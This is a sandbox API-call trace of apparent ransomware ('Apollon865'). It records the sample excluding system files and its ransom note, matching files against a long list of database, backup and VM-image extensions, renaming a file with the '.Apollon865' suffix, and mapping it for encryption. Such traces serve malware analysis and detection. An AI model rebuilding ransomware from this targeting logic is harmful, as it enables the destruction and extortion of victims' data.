	[0085.211] lstrcmpiW (lpString1="H1W", lpString2="ns4") returned -1
	[0085.211] lstrlenW (lpString="nsf") returned 3
	[0085.211] lstrcmpiW (lpString1="H1W", lpString2="nsf") returned -1
	[0085.211] lstrlenW (lpString="nv") returned 2
	[0085.211] lstrcmpiW (lpString1="1W", lpString2="nv") returned -1
	[0085.211] lstrlenW (lpString="nv2") returned 3
	[0085.211] lstrcmpiW (lpString1="H1W", lpString2="nv2") returned -1
	[0085.211] lstrlenW (lpString="nwdb") returned 4
	[0085.211] lstrcmpiW (lpString1=".H1W", lpString2="nwdb") returned -1
	[0085.212] lstrlenW (lpString="nyf") returned 3
	[0085.212] lstrcmpiW (lpString1="H1W", lpString2="nyf") returned -1
	[0085.212] lstrlenW (lpString="odb") returned 3
	[0085.212] lstrcmpiW (lpString1="H1W", lpString2="odb") returned -1
	[0085.212] lstrlenW (lpString="odb") returned 3
	[0085.212] lstrcmpiW (lpString1="H1W", lpString2="odb") returned -1
	[0085.212] lstrlenW (lpString="oqy") returned 3
	[0085.212] lstrcmpiW (lpString1="H1W", lpString2="oqy") returned -1
	[0085.212] lstrlenW (lpString="ora") returned 3
	[0085.212] lstrcmpiW (lpString1="H1W", lpString2="ora") returned -1
	[0085.212] lstrlenW (lpString="orx") returned 3
	[0085.212] lstrcmpiW (lpString1="H1W", lpString2="orx") returned -1
	[0085.212] lstrlenW (lpString="owc") returned 3
	[0085.212] lstrcmpiW (lpString1="H1W", lpString2="owc") returned -1
	[0085.212] lstrlenW (lpString="p96") returned 3
	[0085.212] lstrcmpiW (lpString1="H1W", lpString2="p96") returned -1
	[0085.212] lstrlenW (lpString="p97") returned 3
	[0085.212] lstrcmpiW (lpString1="H1W", lpString2="p97") returned -1
	[0085.212] lstrlenW (lpString="pan") returned 3
	[0085.212] lstrcmpiW (lpString1="H1W", lpString2="pan") returned -1
	[0085.212] lstrlenW (lpString="pdb") returned 3
	[0085.212] lstrcmpiW (lpString1="H1W", lpString2="pdb") returned -1
	[0085.212] lstrlenW (lpString="pdm") returned 3
	[0085.212] lstrcmpiW (lpString1="H1W", lpString2="pdm") returned -1
	[0085.212] lstrlenW (lpString="pnz") returned 3
	[0085.212] lstrcmpiW (lpString1="H1W", lpString2="pnz") returned -1
	[0085.212] lstrlenW (lpString="qry") returned 3
	[0085.212] lstrcmpiW (lpString1="H1W", lpString2="qry") returned -1
	[0085.212] lstrlenW (lpString="qvd") returned 3
	[0085.212] lstrcmpiW (lpString1="H1W", lpString2="qvd") returned -1
	[0085.212] lstrlenW (lpString="rbf") returned 3
	[0085.212] lstrcmpiW (lpString1="H1W", lpString2="rbf") returned -1
	[0085.212] lstrlenW (lpString="rctd") returned 4
	[0085.212] lstrcmpiW (lpString1=".H1W", lpString2="rctd") returned -1
	[0085.212] lstrlenW (lpString="rod") returned 3
	[0085.212] lstrcmpiW (lpString1="H1W", lpString2="rod") returned -1
	[0085.212] lstrlenW (lpString="rodx") returned 4
	[0085.213] lstrcmpiW (lpString1=".H1W", lpString2="rodx") returned -1
	[0085.213] lstrlenW (lpString="rpd") returned 3
	[0085.213] lstrcmpiW (lpString1="H1W", lpString2="rpd") returned -1
	[0085.213] lstrlenW (lpString="rsd") returned 3
	[0085.213] lstrcmpiW (lpString1="H1W", lpString2="rsd") returned -1
	[0085.213] lstrlenW (lpString="sas7bdat") returned 8
	[0085.213] lstrcmpiW (lpString1="etId.H1W", lpString2="sas7bdat") returned -1
	[0085.213] lstrlenW (lpString="sbf") returned 3
	[0085.213] lstrcmpiW (lpString1="H1W", lpString2="sbf") returned -1
	[0085.213] lstrlenW (lpString="scx") returned 3
	[0085.213] lstrcmpiW (lpString1="H1W", lpString2="scx") returned -1
	[0085.213] lstrlenW (lpString="sdb") returned 3
	[0085.213] lstrcmpiW (lpString1="H1W", lpString2="sdb") returned -1
	[0085.213] lstrlenW (lpString="sdc") returned 3
	[0085.213] lstrcmpiW (lpString1="H1W", lpString2="sdc") returned -1
	[0085.213] lstrlenW (lpString="sdf") returned 3
	[0085.213] lstrcmpiW (lpString1="H1W", lpString2="sdf") returned -1
	[0085.213] lstrlenW (lpString="sis") returned 3
	[0085.213] lstrcmpiW (lpString1="H1W", lpString2="sis") returned -1
	[0085.213] lstrlenW (lpString="spq") returned 3
	[0085.213] lstrcmpiW (lpString1="H1W", lpString2="spq") returned -1
	[0085.213] lstrlenW (lpString="te") returned 2
	[0085.213] lstrcmpiW (lpString1="1W", lpString2="te") returned -1
	[0085.213] lstrlenW (lpString="teacher") returned 7
	[0085.213] lstrcmpiW (lpString1="tId.H1W", lpString2="teacher") returned 1
	[0085.213] lstrlenW (lpString="tmd") returned 3
	[0085.213] lstrcmpiW (lpString1="H1W", lpString2="tmd") returned -1
	[0085.213] lstrlenW (lpString="tps") returned 3
	[0085.213] lstrcmpiW (lpString1="H1W", lpString2="tps") returned -1
	[0085.213] lstrlenW (lpString="trc") returned 3
	[0085.213] lstrcmpiW (lpString1="H1W", lpString2="trc") returned -1
	[0085.213] lstrlenW (lpString="trc") returned 3
	[0085.213] lstrcmpiW (lpString1="H1W", lpString2="trc") returned -1
	[0085.213] lstrlenW (lpString="trm") returned 3
	[0085.213] lstrcmpiW (lpString1="H1W", lpString2="trm") returned -1
	[0085.213] lstrlenW (lpString="udb") returned 3
	[0085.213] lstrcmpiW (lpString1="H1W", lpString2="udb") returned -1
	[0085.213] lstrlenW (lpString="udl") returned 3
	[0085.214] lstrcmpiW (lpString1="H1W", lpString2="udl") returned -1
	[0085.214] lstrlenW (lpString="usr") returned 3
	[0085.214] lstrcmpiW (lpString1="H1W", lpString2="usr") returned -1
	[0085.214] lstrlenW (lpString="v12") returned 3
	[0085.214] lstrcmpiW (lpString1="H1W", lpString2="v12") returned -1
	[0085.214] lstrlenW (lpString="vis") returned 3
	[0085.214] lstrcmpiW (lpString1="H1W", lpString2="vis") returned -1
	[0085.214] lstrlenW (lpString="vpd") returned 3
	[0085.214] lstrcmpiW (lpString1="H1W", lpString2="vpd") returned -1
	[0085.214] lstrlenW (lpString="vvv") returned 3
	[0085.214] lstrcmpiW (lpString1="H1W", lpString2="vvv") returned -1
	[0085.214] lstrlenW (lpString="wdb") returned 3
	[0085.214] lstrcmpiW (lpString1="H1W", lpString2="wdb") returned -1
	[0085.214] lstrlenW (lpString="wmdb") returned 4
	[0085.214] lstrcmpiW (lpString1=".H1W", lpString2="wmdb") returned -1
	[0085.214] lstrlenW (lpString="wrk") returned 3
	[0085.214] lstrcmpiW (lpString1="H1W", lpString2="wrk") returned -1
	[0085.214] lstrlenW (lpString="xdb") returned 3
	[0085.214] lstrcmpiW (lpString1="H1W", lpString2="xdb") returned -1
	[0085.214] lstrlenW (lpString="xld") returned 3
	[0085.214] lstrcmpiW (lpString1="H1W", lpString2="xld") returned -1
	[0085.214] lstrlenW (lpString="xmlff") returned 5
	[0085.214] lstrcmpiW (lpString1="d.H1W", lpString2="xmlff") returned -1
	[0085.214] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MKWD_AssetId.H1W.Apollon865") returned 89
	[0085.214] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MKWD_AssetId.H1W" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\help_mkwd_assetid.h1w"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MKWD_AssetId.H1W.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\help_mkwd_assetid.h1w.apollon865"), dwFlags=0x1) returned 1
	[0085.216] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MKWD_AssetId.H1W.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\help_mkwd_assetid.h1w.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0085.216] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=222716) returned 1
	[0085.216] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0085.216] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0085.216] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0085.216] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0085.217] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0085.217] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0085.217] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x36900, lpName=0x0) returned 0x15c
	[0085.219] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x36900) returned 0x120000
	[0085.233] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0085.233] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0085.233] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0085.233] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0085.233] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0085.233] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0085.234] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0085.234] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0085.234] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0085.234] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0085.234] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0085.234] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0085.234] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0085.234] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0085.236] CloseHandle (hObject=0x15c) returned 1
	[0085.236] CloseHandle (hObject=0x9c) returned 1
	[0085.236] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0085.236] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0085.236] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0085.237] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x24534c56, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae409b6f, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae409b6f, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x325ec, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Help_MKWD_BestBet.H1W", cAlternateFileName="HELP_M~2.H1W")) returned 1
	[0085.237] lstrcmpiW (lpString1="Help_MKWD_BestBet.H1W", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0085.237] lstrcmpiW (lpString1="Help_MKWD_BestBet.H1W", lpString2="Apollon865.txt.exe") returned 1
	[0085.237] lstrcmpiW (lpString1="Help_MKWD_BestBet.H1W", lpString2=".") returned 1
	[0085.237] lstrcmpiW (lpString1="Help_MKWD_BestBet.H1W", lpString2="..") returned 1
	[0085.237] lstrcmpiW (lpString1="Help_MKWD_BestBet.H1W", lpString2="windows") returned -1
	[0085.237] lstrcmpiW (lpString1="Help_MKWD_BestBet.H1W", lpString2="bootmgr") returned 1
	[0085.238] lstrcmpiW (lpString1="Help_MKWD_BestBet.H1W", lpString2="temp") returned -1
	[0085.238] lstrcmpiW (lpString1="Help_MKWD_BestBet.H1W", lpString2="pagefile.sys") returned -1
	[0085.238] lstrcmpiW (lpString1="Help_MKWD_BestBet.H1W", lpString2="boot") returned 1
	[0085.238] lstrcmpiW (lpString1="Help_MKWD_BestBet.H1W", lpString2="ids.txt") returned -1
	[0085.238] lstrcmpiW (lpString1="Help_MKWD_BestBet.H1W", lpString2="ntuser.dat") returned -1
	[0085.238] lstrcmpiW (lpString1="Help_MKWD_BestBet.H1W", lpString2="perflogs") returned -1
	[0085.238] lstrcmpiW (lpString1="Help_MKWD_BestBet.H1W", lpString2="MSBuild") returned -1
	[0085.238] lstrlenW (lpString="Help_MKWD_BestBet.H1W") returned 21
	[0085.238] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MKWD_AssetId.H1W") returned 78
	[0085.238] lstrcpyW (in: lpString1=0x119e67a, lpString2="Help_MKWD_BestBet.H1W" | out: lpString1="Help_MKWD_BestBet.H1W") returned="Help_MKWD_BestBet.H1W"
	[0085.238] lstrlenW (lpString="Help_MKWD_BestBet.H1W") returned 21
	[0085.238] lstrlenW (lpString="Apollon865") returned 10
	[0085.238] lstrcmpiW (lpString1="estBet.H1W", lpString2="Apollon865") returned 1
	[0085.238] lstrlenW (lpString=".dll") returned 4
	[0085.238] lstrcmpiW (lpString1="Help_MKWD_BestBet.H1W", lpString2=".dll") returned 1
	[0085.238] lstrlenW (lpString=".lnk") returned 4
	[0085.238] lstrcmpiW (lpString1="Help_MKWD_BestBet.H1W", lpString2=".lnk") returned 1
	[0085.238] lstrlenW (lpString=".ini") returned 4
	[0085.238] lstrcmpiW (lpString1="Help_MKWD_BestBet.H1W", lpString2=".ini") returned 1
	[0085.238] lstrlenW (lpString=".sys") returned 4
	[0085.238] lstrcmpiW (lpString1="Help_MKWD_BestBet.H1W", lpString2=".sys") returned 1
	[0085.238] lstrlenW (lpString="Help_MKWD_BestBet.H1W") returned 21
	[0085.238] lstrlenW (lpString="bak") returned 3
	[0085.238] lstrcmpiW (lpString1="H1W", lpString2="bak") returned 1
	[0085.238] lstrlenW (lpString="ba_") returned 3
	[0085.238] lstrcmpiW (lpString1="H1W", lpString2="ba_") returned 1
	[0085.238] lstrlenW (lpString="dbb") returned 3
	[0085.238] lstrcmpiW (lpString1="H1W", lpString2="dbb") returned 1
	[0085.238] lstrlenW (lpString="vmdk") returned 4
	[0085.238] lstrcmpiW (lpString1=".H1W", lpString2="vmdk") returned -1
	[0085.238] lstrlenW (lpString="rar") returned 3
	[0085.238] lstrcmpiW (lpString1="H1W", lpString2="rar") returned -1
	[0085.238] lstrlenW (lpString="zip") returned 3
	[0085.238] lstrcmpiW (lpString1="H1W", lpString2="zip") returned -1
	[0085.238] lstrlenW (lpString="tgz") returned 3
	[0085.238] lstrcmpiW (lpString1="H1W", lpString2="tgz") returned -1
	[0085.238] lstrlenW (lpString="vbox") returned 4
	[0085.239] lstrcmpiW (lpString1=".H1W", lpString2="vbox") returned -1
	[0085.239] lstrlenW (lpString="vdi") returned 3
	[0085.239] lstrcmpiW (lpString1="H1W", lpString2="vdi") returned -1
	[0085.239] lstrlenW (lpString="vhd") returned 3
	[0085.239] lstrcmpiW (lpString1="H1W", lpString2="vhd") returned -1
	[0085.239] lstrlenW (lpString="vhdx") returned 4
	[0085.239] lstrcmpiW (lpString1=".H1W", lpString2="vhdx") returned -1
	[0085.239] lstrlenW (lpString="avhd") returned 4
	[0085.239] lstrcmpiW (lpString1=".H1W", lpString2="avhd") returned -1
	[0085.239] lstrlenW (lpString="db") returned 2
	[0085.239] lstrcmpiW (lpString1="1W", lpString2="db") returned -1
	[0085.239] lstrlenW (lpString="db2") returned 3
	[0085.239] lstrcmpiW (lpString1="H1W", lpString2="db2") returned 1
	[0085.239] lstrlenW (lpString="db3") returned 3
	[0085.239] lstrcmpiW (lpString1="H1W", lpString2="db3") returned 1
	[0085.239] lstrlenW (lpString="dbf") returned 3
	[0085.239] lstrcmpiW (lpString1="H1W", lpString2="dbf") returned 1
	[0085.239] lstrlenW (lpString="mdf") returned 3
	[0085.239] lstrcmpiW (lpString1="H1W", lpString2="mdf") returned -1
	[0085.239] lstrlenW (lpString="mdb") returned 3
	[0085.239] lstrcmpiW (lpString1="H1W", lpString2="mdb") returned -1
	[0085.239] lstrlenW (lpString="sql") returned 3
	[0085.239] lstrcmpiW (lpString1="H1W", lpString2="sql") returned -1
	[0085.239] lstrlenW (lpString="sqlite") returned 6
	[0085.239] lstrcmpiW (lpString1="et.H1W", lpString2="sqlite") returned -1
	[0085.239] lstrlenW (lpString="sqlite3") returned 7
	[0085.239] lstrcmpiW (lpString1="Bet.H1W", lpString2="sqlite3") returned -1
	[0085.239] lstrlenW (lpString="sqlitedb") returned 8
	[0085.239] lstrcmpiW (lpString1="tBet.H1W", lpString2="sqlitedb") returned 1
	[0085.239] lstrlenW (lpString="xml") returned 3
	[0085.239] lstrcmpiW (lpString1="H1W", lpString2="xml") returned -1
	[0085.239] lstrlenW (lpString="$er") returned 3
	[0085.240] lstrcmpiW (lpString1="H1W", lpString2="$er") returned 1
	[0085.240] lstrlenW (lpString="4dd") returned 3
	[0085.240] lstrcmpiW (lpString1="H1W", lpString2="4dd") returned 1
	[0085.240] lstrlenW (lpString="4dl") returned 3
	[0085.240] lstrcmpiW (lpString1="H1W", lpString2="4dl") returned 1
	[0085.240] lstrlenW (lpString="^^^") returned 3
	[0085.240] lstrcmpiW (lpString1="H1W", lpString2="^^^") returned 1
	[0085.240] lstrlenW (lpString="abs") returned 3
	[0085.240] lstrcmpiW (lpString1="H1W", lpString2="abs") returned 1
	[0085.240] lstrlenW (lpString="abx") returned 3
	[0085.240] lstrcmpiW (lpString1="H1W", lpString2="abx") returned 1
	[0085.240] lstrlenW (lpString="accdb") returned 5
	[0085.240] lstrcmpiW (lpString1="t.H1W", lpString2="accdb") returned 1
	[0085.240] lstrlenW (lpString="accdc") returned 5
	[0085.240] lstrcmpiW (lpString1="t.H1W", lpString2="accdc") returned 1
	[0085.240] lstrlenW (lpString="accde") returned 5
	[0085.240] lstrcmpiW (lpString1="t.H1W", lpString2="accde") returned 1
	[0085.240] lstrlenW (lpString="accdr") returned 5
	[0085.240] lstrcmpiW (lpString1="t.H1W", lpString2="accdr") returned 1
	[0085.240] lstrlenW (lpString="accdt") returned 5
	[0085.240] lstrcmpiW (lpString1="t.H1W", lpString2="accdt") returned 1
	[0085.240] lstrlenW (lpString="accdw") returned 5
	[0085.240] lstrcmpiW (lpString1="t.H1W", lpString2="accdw") returned 1
	[0085.240] lstrlenW (lpString="accft") returned 5
	[0085.240] lstrcmpiW (lpString1="t.H1W", lpString2="accft") returned 1
	[0085.240] lstrlenW (lpString="adb") returned 3
	[0085.240] lstrcmpiW (lpString1="H1W", lpString2="adb") returned 1
	[0085.240] lstrlenW (lpString="adb") returned 3
	[0085.240] lstrcmpiW (lpString1="H1W", lpString2="adb") returned 1
	[0085.240] lstrlenW (lpString="ade") returned 3
	[0085.240] lstrcmpiW (lpString1="H1W", lpString2="ade") returned 1
	[0085.240] lstrlenW (lpString="adf") returned 3
	[0085.240] lstrcmpiW (lpString1="H1W", lpString2="adf") returned 1
	[0085.240] lstrlenW (lpString="adn") returned 3
	[0085.240] lstrcmpiW (lpString1="H1W", lpString2="adn") returned 1
	[0085.240] lstrlenW (lpString="adp") returned 3
	[0085.240] lstrcmpiW (lpString1="H1W", lpString2="adp") returned 1
	[0085.240] lstrlenW (lpString="alf") returned 3
	[0085.240] lstrcmpiW (lpString1="H1W", lpString2="alf") returned 1
	[0085.240] lstrlenW (lpString="ask") returned 3
	[0085.241] lstrcmpiW (lpString1="H1W", lpString2="ask") returned 1
	[0085.241] lstrlenW (lpString="btr") returned 3
	[0085.241] lstrcmpiW (lpString1="H1W", lpString2="btr") returned 1
	[0085.241] lstrlenW (lpString="cat") returned 3
	[0085.241] lstrcmpiW (lpString1="H1W", lpString2="cat") returned 1
	[0085.241] lstrlenW (lpString="cdb") returned 3
	[0085.241] lstrcmpiW (lpString1="H1W", lpString2="cdb") returned 1
	[0085.241] lstrlenW (lpString="ckp") returned 3
	[0085.241] lstrcmpiW (lpString1="H1W", lpString2="ckp") returned 1
	[0085.241] lstrlenW (lpString="cma") returned 3
	[0085.241] lstrcmpiW (lpString1="H1W", lpString2="cma") returned 1
	[0085.241] lstrlenW (lpString="cpd") returned 3
	[0085.241] lstrcmpiW (lpString1="H1W", lpString2="cpd") returned 1
	[0085.241] lstrlenW (lpString="dacpac") returned 6
	[0085.241] lstrcmpiW (lpString1="et.H1W", lpString2="dacpac") returned 1
	[0085.241] lstrlenW (lpString="dad") returned 3
	[0085.241] lstrcmpiW (lpString1="H1W", lpString2="dad") returned 1
	[0085.241] lstrlenW (lpString="dadiagrams") returned 10
	[0085.241] lstrcmpiW (lpString1="estBet.H1W", lpString2="dadiagrams") returned 1
	[0085.241] lstrlenW (lpString="daschema") returned 8
	[0085.241] lstrcmpiW (lpString1="tBet.H1W", lpString2="daschema") returned 1
	[0085.241] lstrlenW (lpString="db-journal") returned 10
	[0085.241] lstrcmpiW (lpString1="estBet.H1W", lpString2="db-journal") returned 1
	[0085.241] lstrlenW (lpString="db-shm") returned 6
	[0085.241] lstrcmpiW (lpString1="et.H1W", lpString2="db-shm") returned 1
	[0085.241] lstrlenW (lpString="db-wal") returned 6
	[0085.241] lstrcmpiW (lpString1="et.H1W", lpString2="db-wal") returned 1
	[0085.241] lstrlenW (lpString="dbc") returned 3
	[0085.241] lstrcmpiW (lpString1="H1W", lpString2="dbc") returned 1
	[0085.241] lstrlenW (lpString="dbs") returned 3
	[0085.241] lstrcmpiW (lpString1="H1W", lpString2="dbs") returned 1
	[0085.241] lstrlenW (lpString="dbt") returned 3
	[0085.241] lstrcmpiW (lpString1="H1W", lpString2="dbt") returned 1
	[0085.241] lstrlenW (lpString="dbv") returned 3
	[0085.241] lstrcmpiW (lpString1="H1W", lpString2="dbv") returned 1
	[0085.241] lstrlenW (lpString="dbx") returned 3
	[0085.241] lstrcmpiW (lpString1="H1W", lpString2="dbx") returned 1
	[0085.242] lstrlenW (lpString="dcb") returned 3
	[0085.242] lstrcmpiW (lpString1="H1W", lpString2="dcb") returned 1
	[0085.242] lstrlenW (lpString="dct") returned 3
	[0085.242] lstrcmpiW (lpString1="H1W", lpString2="dct") returned 1
	[0085.242] lstrlenW (lpString="dcx") returned 3
	[0085.242] lstrcmpiW (lpString1="H1W", lpString2="dcx") returned 1
	[0085.242] lstrlenW (lpString="ddl") returned 3
	[0085.242] lstrcmpiW (lpString1="H1W", lpString2="ddl") returned 1
	[0085.242] lstrlenW (lpString="dlis") returned 4
	[0085.242] lstrcmpiW (lpString1=".H1W", lpString2="dlis") returned -1
	[0085.242] lstrlenW (lpString="dp1") returned 3
	[0085.242] lstrcmpiW (lpString1="H1W", lpString2="dp1") returned 1
	[0085.242] lstrlenW (lpString="dqy") returned 3
	[0085.242] lstrcmpiW (lpString1="H1W", lpString2="dqy") returned 1
	[0085.242] lstrlenW (lpString="dsk") returned 3
	[0085.242] lstrcmpiW (lpString1="H1W", lpString2="dsk") returned 1
	[0085.242] lstrlenW (lpString="dsn") returned 3
	[0085.242] lstrcmpiW (lpString1="H1W", lpString2="dsn") returned 1
	[0085.242] lstrlenW (lpString="dtsx") returned 4
	[0085.242] lstrcmpiW (lpString1=".H1W", lpString2="dtsx") returned -1
	[0085.242] lstrlenW (lpString="dxl") returned 3
	[0085.242] lstrcmpiW (lpString1="H1W", lpString2="dxl") returned 1
	[0085.242] lstrlenW (lpString="eco") returned 3
	[0085.242] lstrcmpiW (lpString1="H1W", lpString2="eco") returned 1
	[0085.242] lstrlenW (lpString="ecx") returned 3
	[0085.242] lstrcmpiW (lpString1="H1W", lpString2="ecx") returned 1
	[0085.242] lstrlenW (lpString="edb") returned 3
	[0085.242] lstrcmpiW (lpString1="H1W", lpString2="edb") returned 1
	[0085.242] lstrlenW (lpString="epim") returned 4
	[0085.242] lstrcmpiW (lpString1=".H1W", lpString2="epim") returned -1
	[0085.242] lstrlenW (lpString="fcd") returned 3
	[0085.242] lstrcmpiW (lpString1="H1W", lpString2="fcd") returned 1
	[0085.242] lstrlenW (lpString="fdb") returned 3
	[0085.242] lstrcmpiW (lpString1="H1W", lpString2="fdb") returned 1
	[0085.242] lstrlenW (lpString="fic") returned 3
	[0085.242] lstrcmpiW (lpString1="H1W", lpString2="fic") returned 1
	[0085.242] lstrlenW (lpString="flexolibrary") returned 12
	[0085.242] lstrcmpiW (lpString1="_BestBet.H1W", lpString2="flexolibrary") returned -1
	[0085.242] lstrlenW (lpString="fm5") returned 3
	[0085.243] lstrcmpiW (lpString1="H1W", lpString2="fm5") returned 1
	[0085.243] lstrlenW (lpString="fmp") returned 3
	[0085.243] lstrcmpiW (lpString1="H1W", lpString2="fmp") returned 1
	[0085.243] lstrlenW (lpString="fmp12") returned 5
	[0085.243] lstrcmpiW (lpString1="t.H1W", lpString2="fmp12") returned 1
	[0085.243] lstrlenW (lpString="fmpsl") returned 5
	[0085.243] lstrcmpiW (lpString1="t.H1W", lpString2="fmpsl") returned 1
	[0085.243] lstrlenW (lpString="fol") returned 3
	[0085.243] lstrcmpiW (lpString1="H1W", lpString2="fol") returned 1
	[0085.243] lstrlenW (lpString="fp3") returned 3
	[0085.243] lstrcmpiW (lpString1="H1W", lpString2="fp3") returned 1
	[0085.243] lstrlenW (lpString="fp4") returned 3
	[0085.243] lstrcmpiW (lpString1="H1W", lpString2="fp4") returned 1
	[0085.243] lstrlenW (lpString="fp5") returned 3
	[0085.243] lstrcmpiW (lpString1="H1W", lpString2="fp5") returned 1
	[0085.243] lstrlenW (lpString="fp7") returned 3
	[0085.243] lstrcmpiW (lpString1="H1W", lpString2="fp7") returned 1
	[0085.243] lstrlenW (lpString="fpt") returned 3
	[0085.243] lstrcmpiW (lpString1="H1W", lpString2="fpt") returned 1
	[0085.243] lstrlenW (lpString="frm") returned 3
	[0085.243] lstrcmpiW (lpString1="H1W", lpString2="frm") returned 1
	[0085.243] lstrlenW (lpString="gdb") returned 3
	[0085.243] lstrcmpiW (lpString1="H1W", lpString2="gdb") returned 1
	[0085.243] lstrlenW (lpString="gdb") returned 3
	[0085.243] lstrcmpiW (lpString1="H1W", lpString2="gdb") returned 1
	[0085.243] lstrlenW (lpString="grdb") returned 4
	[0085.243] lstrcmpiW (lpString1=".H1W", lpString2="grdb") returned -1
	[0085.243] lstrlenW (lpString="gwi") returned 3
	[0085.243] lstrcmpiW (lpString1="H1W", lpString2="gwi") returned 1
	[0085.243] lstrlenW (lpString="hdb") returned 3
	[0085.243] lstrcmpiW (lpString1="H1W", lpString2="hdb") returned -1
	[0085.243] lstrlenW (lpString="his") returned 3
	[0085.243] lstrcmpiW (lpString1="H1W", lpString2="his") returned -1
	[0085.243] lstrlenW (lpString="ib") returned 2
	[0085.243] lstrcmpiW (lpString1="1W", lpString2="ib") returned -1
	[0085.243] lstrlenW (lpString="idb") returned 3
	[0085.243] lstrcmpiW (lpString1="H1W", lpString2="idb") returned -1
	[0085.243] lstrlenW (lpString="ihx") returned 3
	[0085.243] lstrcmpiW (lpString1="H1W", lpString2="ihx") returned -1
	[0085.244] lstrlenW (lpString="itdb") returned 4
	[0085.244] lstrcmpiW (lpString1=".H1W", lpString2="itdb") returned -1
	[0085.244] lstrlenW (lpString="itw") returned 3
	[0085.244] lstrcmpiW (lpString1="H1W", lpString2="itw") returned -1
	[0085.244] lstrlenW (lpString="jet") returned 3
	[0085.244] lstrcmpiW (lpString1="H1W", lpString2="jet") returned -1
	[0085.244] lstrlenW (lpString="jtx") returned 3
	[0085.244] lstrcmpiW (lpString1="H1W", lpString2="jtx") returned -1
	[0085.244] lstrlenW (lpString="kdb") returned 3
	[0085.244] lstrcmpiW (lpString1="H1W", lpString2="kdb") returned -1
	[0085.244] lstrlenW (lpString="kexi") returned 4
	[0085.244] lstrcmpiW (lpString1=".H1W", lpString2="kexi") returned -1
	[0085.244] lstrlenW (lpString="kexic") returned 5
	[0085.244] lstrcmpiW (lpString1="t.H1W", lpString2="kexic") returned 1
	[0085.244] lstrlenW (lpString="kexis") returned 5
	[0085.244] lstrcmpiW (lpString1="t.H1W", lpString2="kexis") returned 1
	[0085.244] lstrlenW (lpString="lgc") returned 3
	[0085.244] lstrcmpiW (lpString1="H1W", lpString2="lgc") returned -1
	[0085.244] lstrlenW (lpString="lwx") returned 3
	[0085.244] lstrcmpiW (lpString1="H1W", lpString2="lwx") returned -1
